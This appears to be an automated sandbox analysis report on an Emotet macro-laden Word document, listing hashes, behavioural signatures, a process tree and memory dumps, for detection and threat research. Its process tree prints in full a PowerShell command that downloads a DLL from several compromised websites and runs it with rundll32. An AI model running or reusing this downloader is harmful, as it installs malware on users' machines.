Analysis

  • max time kernel
    140s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    17-11-2021 08:29

General

  • Target

    emotet_e4_06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8_2021-11-17__082839023390._docm.doc

  • Size

    140KB

  • MD5

    391dca4cf91ae12aa1b5ac9d0ac3ec41

  • SHA1

    47cfcf587d838f68a8f8df53ea3afae475436992

  • SHA256

    06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

  • SHA512

    de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e4_06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8_2021-11-17__082839023390._docm.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:812
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1148
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1012

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/812-77-0x0000000000000000-mapping.dmp
    • memory/1012-84-0x000007FEFB6F1000-0x000007FEFB6F3000-memory.dmp
      Filesize

      8KB

    • memory/1012-83-0x0000000000000000-mapping.dmp
    • memory/1148-82-0x0000000004AD0000-0x0000000005006000-memory.dmp
      Filesize

      5.2MB

    • memory/1148-81-0x0000000002400000-0x000000000304A000-memory.dmp
      Filesize

      12.3MB

    • memory/1148-80-0x0000000002400000-0x000000000304A000-memory.dmp
      Filesize

      12.3MB

    • memory/1148-78-0x0000000000000000-mapping.dmp
    • memory/1716-69-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-73-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-61-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-60-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-59-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-67-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-68-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-55-0x00000000721E1000-0x00000000721E4000-memory.dmp
      Filesize

      12KB

    • memory/1716-70-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-71-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-72-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-62-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-74-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-75-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-76-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-63-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-64-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-66-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-65-0x00000000004A5000-0x00000000004A9000-memory.dmp
      Filesize

      16KB

    • memory/1716-58-0x0000000075C51000-0x0000000075C53000-memory.dmp
      Filesize

      8KB

    • memory/1716-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1716-56-0x000000006FC61000-0x000000006FC63000-memory.dmp
      Filesize

      8KB